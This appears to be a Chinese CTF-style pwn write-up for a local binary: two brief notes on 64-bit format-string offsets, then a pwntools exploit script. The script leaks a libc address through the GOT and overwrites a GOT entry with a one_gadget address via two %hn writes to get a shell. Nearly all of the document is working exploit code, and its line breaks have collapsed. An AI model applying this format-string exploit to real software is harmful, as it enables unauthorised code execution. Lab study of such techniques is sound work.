知识点
1.查偏移写入 64位前6个参数是存在6个寄存器里 所有gdb查到的位置需要+6
2.写入最好分段写入不要一次性写入太多 否则会崩溃
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
|
from pwn import *
io = process('./aa') elf = ELF('./aa') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def exp2(): payload = '' payload += '%'+str(part1)+'d%12$hn'+'%'+str(part2-part1)+'d%13$hn' payload += 'a'*(32-len(payload)) payload += p64(0x601028)+p64(0x60102a) print payload gdb.attach(io) io.sendline(payload) io.interactive()
def exp1(): payload = '' payload += '%'+str(part2)+'d%12$hn'+'%'+str(part1-part2)+'d%13$hn' payload += 'a'*(32-len(payload)) payload += p64(0x60102a)+p64(0x601028) print payload io.sendline(payload) io.interactive()
gets_got = elf.got['fgets'] log.info("got:0x%x" % gets_got)
payload = '%9$s'+'aaaa'+p64(gets_got) io.sendline(payload) t = io.recv()
gets_addr = u64(t[0:8]) log.info("gets_addr : 0x%x" % gets_addr)
libc_base = gets_addr - libc.symbols['fgets'] log.info("libc_base: 0x%x" % libc_base) one_gadgets = libc_base + 0xf02a4 log.info("one_gadgets: 0x%x" % one_gadgets)
part1 = hex(one_gadgets)[-4:] print part1
part2 = hex(one_gadgets)[-8:-4] print part2
part1 = int(part1,16) part2 = int(part2,16)
if part1 > part2: print "exp1" exp1() else: print "exp2" exp2()
|